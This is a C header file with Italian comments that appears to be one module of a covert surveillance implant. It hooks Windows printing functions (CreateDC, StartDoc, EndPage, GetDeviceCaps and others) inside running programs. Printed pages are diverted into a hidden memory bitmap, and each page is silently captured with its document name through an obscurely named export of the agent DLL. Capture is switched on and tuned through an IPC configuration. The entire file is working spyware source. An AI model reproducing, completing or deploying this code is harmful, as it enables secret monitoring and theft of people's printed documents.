HM_PrintPool.h
#define SCALING_FACTOR 6 // 1=dimensioni originali, 10=buona perdita
#define DOC_NAME_LEN 256
#define HDUMMY 0xabadc0de
#define GET_ARGS __asm PUSH ESI \
__asm LEA ESI, DWORD PTR [EBP+0x8] \
__asm MOV [arg_ptr], ESI \
__asm POP ESI
// Struttura di configurazione via IPC
typedef struct {
BOOL active; // La prima variabile deve essere il BOOL di attivazione
DWORD scaling_factor;
} print_pool_conf;
////////////////////////////// Wrappers per print pool //////////////////////
//////////////////////////
// //
// CreateDCW //
// //
//////////////////////////
typedef struct {
COMMONDATA;
CreateCompatibleDC_t pCreateCompatibleDC;
CreateCompatibleBitmap_t pCreateCompatibleBitmap;
GetDeviceCaps_t pGetDeviceCaps;
SelectObject_t pSelectObject;
FillRect_t pFillRect;
CreateBrushIndirect_t pCreateBrushIndirect;
HDC printer_dc;
HDC memory_dc;
DWORD x_dim, y_dim; // Verranno usate poi per la BitBlt sul device context della stampante in EndPage
DWORD x_real, y_real; // Valori reali senza scaling factor
HBITMAP memory_bitmap;
HBRUSH hbrush;
DWORD scaling_factor;
WCHAR doc_name[DOC_NAME_LEN+2]; // Nome del documento stampato. (assicura il NULL terminate)
} CreateDCDataStruct;
CreateDCDataStruct CreateDC_data;
static DWORD WINAPI CreateDC_wrap(DWORD ARG1, DWORD ARG2, DWORD ARG3, DWORD ARG4)
{
LOGBRUSH fill_brush;
RECT fill_rect;
print_pool_conf *print_conf;
MARK_HOOK
INIT_WRAPPER(CreateDCDataStruct);
CALL_ORIGINAL_API(4);
// Se fallisce o l'agent e' disattivato, ritorna
print_conf = (print_pool_conf *)pData->pHM_IpcCliRead(PM_PRINTAGENT);
if (!ret_code || !print_conf || !(print_conf->active))
return ret_code;
// Verifica che il DeviceContext creato sia relativo a una stampante
if (pData->pGetDeviceCaps((HDC)ret_code, 2) == 2) {
pData->scaling_factor = print_conf->scaling_factor;
pData->printer_dc = (HDC)ret_code;
pData->memory_dc = pData->pCreateCompatibleDC(pData->printer_dc);
pData->x_real = pData->pGetDeviceCaps(pData->printer_dc, HORZRES);
pData->y_real = pData->pGetDeviceCaps(pData->printer_dc, VERTRES);
pData->x_dim = pData->x_real / pData->scaling_factor;
pData->y_dim = pData->y_real / pData->scaling_factor;
pData->memory_bitmap = pData->pCreateCompatibleBitmap(pData->printer_dc, pData->x_dim, pData->y_dim);
pData->pSelectObject(pData->memory_dc, pData->memory_bitmap);
// Riempie la bitmap di bianco (crea il brush solo la prima volta
// viene richiamato, e non lo distrugge mai).
if (pData->hbrush == (HBRUSH)HDUMMY) {
fill_brush.lbStyle = BS_SOLID;
fill_brush.lbColor = RGB(0xFF, 0xFF, 0xFF);
pData->hbrush = pData->pCreateBrushIndirect(&fill_brush);
}
fill_rect.left = fill_rect.top = 0;
fill_rect.right = pData->x_dim;
fill_rect.bottom = pData->y_dim;
pData->pFillRect(pData->memory_dc, &fill_rect, pData->hbrush);
ret_code = (DWORD)pData->memory_dc;
}
return ret_code;
}
static DWORD CreateDC_setup(HMServiceStruct *pData)
{
HMODULE h_gdi;
HMODULE h_usr;
VALIDPTR(h_gdi = LoadLibrary("GDI32.dll"));
VALIDPTR(h_usr = LoadLibrary("User32.dll"));
VALIDPTR(CreateDC_data.pGetDeviceCaps = (GetDeviceCaps_t)HM_SafeGetProcAddress(h_gdi, "GetDeviceCaps"));
VALIDPTR(CreateDC_data.pCreateCompatibleDC = (CreateCompatibleDC_t)HM_SafeGetProcAddress(h_gdi, "CreateCompatibleDC"));
VALIDPTR(CreateDC_data.pCreateCompatibleBitmap = (CreateCompatibleBitmap_t)HM_SafeGetProcAddress(h_gdi, "CreateCompatibleBitmap"));
VALIDPTR(CreateDC_data.pSelectObject = (SelectObject_t)HM_SafeGetProcAddress(h_gdi, "SelectObject"));
VALIDPTR(CreateDC_data.pCreateBrushIndirect = (CreateBrushIndirect_t)HM_SafeGetProcAddress(h_gdi, "CreateBrushIndirect"));
VALIDPTR(CreateDC_data.pFillRect = (FillRect_t)HM_SafeGetProcAddress(h_usr, "FillRect"));
CreateDC_data.pHM_IpcCliRead = pData->pHM_IpcCliRead;
CreateDC_data.printer_dc = CreateDC_data.memory_dc = (HDC)HDUMMY;
CreateDC_data.memory_bitmap = (HBITMAP)HDUMMY;
CreateDC_data.hbrush = (HBRUSH)HDUMMY;
CreateDC_data.x_dim = CreateDC_data.y_dim =0;
CreateDC_data.scaling_factor = SCALING_FACTOR;
// All'inizio il nome del file stampato e' vuoto
ZeroMemory(CreateDC_data.doc_name, sizeof(CreateDC_data.doc_name));
CreateDC_data.dwHookLen = 600;
return 0;
}
//////////////////////////
// //
// DeleteDC //
// //
//////////////////////////
typedef struct {
COMMONDATA;
CreateDCDataStruct *c_data;
DeleteObject_t pDeleteObject;
} DeleteDC_data_struct;
DeleteDC_data_struct DeleteDC_data;
static DWORD WINAPI DeleteDC_wrap(DWORD ARG1)
{
DWORD *arg_ptr;
MARK_HOOK
INIT_WRAPPER(DeleteDC_data_struct);
GET_ARGS;
// Se e' una DeleteDC sul memory_dc e abbiamo due DC diversi
// (quando e' disattivo sono entrambi settati su HDUMMY)
if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc &&
pData->c_data->memory_dc != pData->c_data->printer_dc) {
pData->pDeleteObject(pData->c_data->memory_bitmap);
CALL_ORIGINAL_API(1);
arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
// Azzera gli handle che ormai non esistono piu'
pData->c_data->memory_dc = pData->c_data->printer_dc = (HDC)HDUMMY;
}
CALL_ORIGINAL_API(1);
return ret_code;
}
static DWORD DeleteDC_setup(HMServiceStruct *pData)
{
HMODULE h_gdi;
VALIDPTR(h_gdi = LoadLibrary("GDI32.dll"));
VALIDPTR(DeleteDC_data.pDeleteObject = (DeleteObject_t)HM_SafeGetProcAddress(h_gdi, "DeleteObject"));
DeleteDC_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
DeleteDC_data.dwHookLen = 300;
return 0;
}
//////////////////////////
// //
// EndPage //
// //
//////////////////////////
typedef struct {
COMMONDATA;
char szDLLName[DLLNAMELEN];
char print_screen_name[30];
CreateDCDataStruct *c_data;
LoadLibrary_t pLoadLibrary;
FreeLibrary_t pFreeLibrary;
FillRect_t pFillRect;
GetProcAddress_t pGetProcAddress;
StretchBlt_t pStretchBlt;
} EndPage_data_struct;
EndPage_data_struct EndPage_data;
static DWORD WINAPI EndPage_wrap(DWORD ARG1)
{
typedef void (__stdcall *PrintScreen_t)(WCHAR *, HDC, HBITMAP, DWORD, DWORD);
HMODULE h_mod;
DWORD *arg_ptr;
RECT fill_rect;
BOOL *Active;
PrintScreen_t pPrintScreen;
MARK_HOOK
INIT_WRAPPER(EndPage_data_struct);
GET_ARGS;
// E' una EndPage sul device context virtuale
if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc &&
pData->c_data->memory_dc != pData->c_data->printer_dc) {
// L'API originale verra' chiamata sul device context della stampante
arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
// Copia il contenuto del context virtuale sulla stampante
pData->pStretchBlt(pData->c_data->printer_dc, 0, 0, pData->c_data->x_real, pData->c_data->y_real, pData->c_data->memory_dc, 0, 0, pData->c_data->x_dim, pData->c_data->y_dim, SRCCOPY);
// Acuisisce la bitmap e la logga su file (solo se l'agent e' ancora attivo)
Active = (BOOL *)pData->pHM_IpcCliRead(PM_PRINTAGENT);
if (Active && (*Active)) {
h_mod = pData->pLoadLibrary(pData->szDLLName);
if (h_mod) {
pPrintScreen = (PrintScreen_t)pData->pGetProcAddress(h_mod, pData->print_screen_name);
if (pPrintScreen)
pPrintScreen(pData->c_data->doc_name, pData->c_data->memory_dc, pData->c_data->memory_bitmap, pData->c_data->x_dim, pData->c_data->y_dim);
pData->pFreeLibrary(h_mod);
}
}
// Pulisce il memory device context
fill_rect.left = fill_rect.top = 0;
fill_rect.right = pData->c_data->x_dim;
fill_rect.bottom = pData->c_data->y_dim;
pData->pFillRect(pData->c_data->memory_dc, &fill_rect, pData->c_data->hbrush);
}
CALL_ORIGINAL_API(1);
return ret_code;
}
static DWORD EndPage_setup(HMServiceStruct *pData)
{
HMODULE h_mod;
HMODULE h_gdi;
HMODULE h_usr;
VALIDPTR(h_mod = GetModuleHandle("KERNEL32.dll"));
VALIDPTR(h_gdi = LoadLibrary("GDI32.dll"));
VALIDPTR(h_usr = LoadLibrary("User32.dll"));
VALIDPTR(EndPage_data.pLoadLibrary = (LoadLibrary_t)HM_SafeGetProcAddress(h_mod, "LoadLibraryA"));
VALIDPTR(EndPage_data.pFreeLibrary = (FreeLibrary_t)HM_SafeGetProcAddress(h_mod, "FreeLibrary"));
VALIDPTR(EndPage_data.pGetProcAddress = (GetProcAddress_t)HM_SafeGetProcAddress(h_mod, "GetProcAddress"));
VALIDPTR(EndPage_data.pStretchBlt = (StretchBlt_t)HM_SafeGetProcAddress(h_gdi, "StretchBlt"));
VALIDPTR(EndPage_data.pFillRect = (FillRect_t)HM_SafeGetProcAddress(h_usr, "FillRect"));
EndPage_data.pHM_IpcCliRead = pData->pHM_IpcCliRead;
// Funzione di stampa su file esportata
sprintf(EndPage_data.print_screen_name, "PPPFTBBP06");
HM_CompletePath(H4DLLNAME, EndPage_data.szDLLName);
EndPage_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
EndPage_data.dwHookLen = 400;
return 0;
}
//////////////////////////
// //
// StartPage //
// //
//////////////////////////
typedef struct {
COMMONDATA;
CreateDCDataStruct *c_data;
} StartPage_data_struct;
StartPage_data_struct StartPage_data;
static DWORD WINAPI StartPage_wrap(DWORD ARG1)
{
DWORD *arg_ptr;
MARK_HOOK
INIT_WRAPPER(StartPage_data_struct);
GET_ARGS;
// E' una StartPage sul device context virtuale
if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc)
arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
CALL_ORIGINAL_API(1);
return ret_code;
}
static DWORD StartPage_setup(HMServiceStruct *pData)
{
StartPage_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
StartPage_data.dwHookLen = 150;
return 0;
}
//////////////////////////
// //
// EndDoc //
// //
//////////////////////////
typedef struct {
COMMONDATA;
CreateDCDataStruct *c_data;
} EndDoc_data_struct;
EndDoc_data_struct EndDoc_data;
static DWORD WINAPI EndDoc_wrap(DWORD ARG1)
{
DWORD *arg_ptr;
MARK_HOOK
INIT_WRAPPER(EndDoc_data_struct);
GET_ARGS;
// E' una EndDoc sul device context virtuale
if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc)
arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
CALL_ORIGINAL_API(1);
return ret_code;
}
static DWORD EndDoc_setup(HMServiceStruct *pData)
{
EndDoc_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
EndDoc_data.dwHookLen = 150;
return 0;
}
//////////////////////////
// //
// StartDoc //
// //
//////////////////////////
typedef struct {
COMMONDATA;
CreateDCDataStruct *c_data;
} StartDoc_data_struct;
StartDoc_data_struct StartDoc_data;
static DWORD WINAPI StartDoc_wrapA(DWORD ARG1, DWORD ARG2)
{
DWORD *arg_ptr;
DWORD i;
DOCINFOA *doc_info;
BYTE *ptr_name;
MARK_HOOK
INIT_WRAPPER(StartDoc_data_struct);
GET_ARGS;
// E' una StartDoc sul device context virtuale
if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc &&
pData->c_data->memory_dc != pData->c_data->printer_dc) {
arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
// Salva il nome del documento stampato
doc_info = (DOCINFOA *) arg_ptr[1];
if (doc_info && doc_info->lpszDocName) {
// ASCII
ptr_name = (BYTE *)pData->c_data->doc_name;
for (i=0; i<(DOC_NAME_LEN); i++) {
ptr_name[i*2] = doc_info->lpszDocName[i];
ptr_name[i*2+1] = 0;
if (doc_info->lpszDocName[i] == 0)
break;
}
}
}
CALL_ORIGINAL_API(2);
return ret_code;
}
static DWORD WINAPI StartDoc_wrapW(DWORD ARG1, DWORD ARG2)
{
DWORD *arg_ptr;
DWORD i;
DOCINFOW *doc_info;
MARK_HOOK
INIT_WRAPPER(StartDoc_data_struct);
GET_ARGS;
// E' una StartDoc sul device context virtuale
if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc &&
pData->c_data->memory_dc != pData->c_data->printer_dc) {
arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
// Salva il nome del documento stampato
doc_info = (DOCINFOW *) arg_ptr[1];
if (doc_info && doc_info->lpszDocName) {
// WideChar
for (i=0; i<(DOC_NAME_LEN); i++) {
pData->c_data->doc_name[i] = doc_info->lpszDocName[i];
if (pData->c_data->doc_name[i] == 0)
break;
}
}
}
CALL_ORIGINAL_API(2);
return ret_code;
}
static DWORD StartDoc_setup(HMServiceStruct *pData)
{
StartDoc_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
StartDoc_data.dwHookLen = 570;
return 0;
}
//////////////////////////
// //
// GetDeviceCaps //
// //
//////////////////////////
typedef struct {
COMMONDATA;
CreateDCDataStruct *c_data;
} GetDeviceCaps_data_struct;
GetDeviceCaps_data_struct GetDeviceCaps_data;
static DWORD WINAPI GetDeviceCaps_wrap(DWORD ARG1, DWORD ARG2)
{
DWORD *arg_ptr;
MARK_HOOK
INIT_WRAPPER(GetDeviceCaps_data_struct);
GET_ARGS;
// E' una GetDeviceCaps sul device context virtuale
if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc &&
pData->c_data->memory_dc != pData->c_data->printer_dc) {
arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
CALL_ORIGINAL_API(2);
// Sul nostro DC deve operarare la scalatura per
// diversi fattori
if (arg_ptr[1] == HORZRES ||
arg_ptr[1] == VERTRES ||
arg_ptr[1] == LOGPIXELSX ||
arg_ptr[1] == LOGPIXELSY ||
arg_ptr[1] == PHYSICALWIDTH ||
arg_ptr[1] == PHYSICALHEIGHT ||
arg_ptr[1] == PHYSICALOFFSETX ||
arg_ptr[1] == PHYSICALOFFSETY)
ret_code = ret_code / (pData->c_data->scaling_factor);
return ret_code;
}
CALL_ORIGINAL_API(2);
return ret_code;
}
static DWORD GetDeviceCaps_setup(HMServiceStruct *pData)
{
GetDeviceCaps_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
GetDeviceCaps_data.dwHookLen = 420;
return 0;
}
//////////////////////////
// //
// SetAbortProc //
// //
//////////////////////////
typedef struct {
COMMONDATA;
CreateDCDataStruct *c_data;
} SetAbortProc_data_struct;
SetAbortProc_data_struct SetAbortProc_data;
static DWORD WINAPI SetAbortProc_wrap(DWORD ARG1, DWORD ARG2)
{
DWORD *arg_ptr;
MARK_HOOK
INIT_WRAPPER(SetAbortProc_data_struct);
GET_ARGS;
// E' una SetAbortProc sul device context virtuale
if (arg_ptr[0] == (DWORD)pData->c_data->memory_dc)
arg_ptr[0] = (DWORD)pData->c_data->printer_dc;
CALL_ORIGINAL_API(2);
return ret_code;
}
static DWORD SetAbortProc_setup(HMServiceStruct *pData)
{
SetAbortProc_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
SetAbortProc_data.dwHookLen = 150;
return 0;
}
//////////////////////////
// //
// CreateDCA //
// //
//////////////////////////
typedef struct {
COMMONDATA;
CreateDCDataStruct *c_data;
} CreateDCADataStruct;
CreateDCADataStruct CreateDCA_data;
static DWORD WINAPI CreateDCA_wrap(DWORD ARG1, DWORD ARG2, DWORD ARG3, DWORD ARG4)
{
LOGBRUSH fill_brush;
RECT fill_rect;
print_pool_conf *print_conf;
MARK_HOOK
INIT_WRAPPER(CreateDCADataStruct);
CALL_ORIGINAL_API(4);
// Se fallisce o l'agent e' disattivato, ritorna
print_conf = (print_pool_conf *)pData->pHM_IpcCliRead(PM_PRINTAGENT);
if (!ret_code || !print_conf || !(print_conf->active))
return ret_code;
// Accede a tutti i dati della versione WideChar della funzione
// tramite c_data
// Verifica che il DeviceContext creato sia relativo a una stampante
if (pData->c_data->pGetDeviceCaps((HDC)ret_code, 2) == 2) {
pData->c_data->scaling_factor = print_conf->scaling_factor;
pData->c_data->printer_dc = (HDC)ret_code;
pData->c_data->memory_dc = pData->c_data->pCreateCompatibleDC(pData->c_data->printer_dc);
pData->c_data->x_real = pData->c_data->pGetDeviceCaps(pData->c_data->printer_dc, HORZRES);
pData->c_data->y_real = pData->c_data->pGetDeviceCaps(pData->c_data->printer_dc, VERTRES);
pData->c_data->x_dim = pData->c_data->x_real / pData->c_data->scaling_factor;
pData->c_data->y_dim = pData->c_data->y_real / pData->c_data->scaling_factor;
pData->c_data->memory_bitmap = pData->c_data->pCreateCompatibleBitmap(pData->c_data->printer_dc, pData->c_data->x_dim, pData->c_data->y_dim);
pData->c_data->pSelectObject(pData->c_data->memory_dc, pData->c_data->memory_bitmap);
// Riempie la bitmap di bianco (crea il brush solo la prima volta
// viene richiamato, e non lo distrugge mai).
if (pData->c_data->hbrush == (HBRUSH)HDUMMY) {
fill_brush.lbStyle = BS_SOLID;
fill_brush.lbColor = RGB(0xFF, 0xFF, 0xFF);
pData->c_data->hbrush = pData->c_data->pCreateBrushIndirect(&fill_brush);
}
fill_rect.left = fill_rect.top = 0;
fill_rect.right = pData->c_data->x_dim;
fill_rect.bottom = pData->c_data->y_dim;
pData->c_data->pFillRect(pData->c_data->memory_dc, &fill_rect, pData->c_data->hbrush);
ret_code = (DWORD)pData->c_data->memory_dc;
}
return ret_code;
}
static DWORD CreateDCA_setup(HMServiceStruct *pData)
{
CreateDCA_data.c_data = (CreateDCDataStruct *)pData->PARAM[0];
CreateDCA_data.pHM_IpcCliRead = pData->pHM_IpcCliRead;
CreateDCA_data.dwHookLen = 700;
return 0;
}
////////////////// Funzioni per la gestione dell'agent ///////////////
DWORD __stdcall PM_PrintAgentStartStop(BOOL bStartFlag, BOOL bReset)
{
AM_IPCAgentStartStop(PM_PRINTAGENT, bStartFlag);
return 1;
}
DWORD __stdcall PM_PrintAgentInit(JSONObject elem)
{
print_pool_conf print_conf;
// Setta lo scaling factor via IPC
print_conf.active = FALSE;
if (!wcscmp(elem[L"quality"]->AsString().c_str(), L"hi") ) {
print_conf.scaling_factor = 2;
} else if (!wcscmp(elem[L"quality"]->AsString().c_str(), L"med") ) {
print_conf.scaling_factor = 4;
} else {
print_conf.scaling_factor = 6;
}
IPCServerWrite(PM_PRINTAGENT, (BYTE *)&print_conf, sizeof(print_conf));
return 1;
}
void PM_PrintAgentRegister()
{
AM_MonitorRegister(L"print", PM_PRINTAGENT, (BYTE *)NULL, (BYTE *)PM_PrintAgentStartStop, (BYTE *)PM_PrintAgentInit, NULL);
}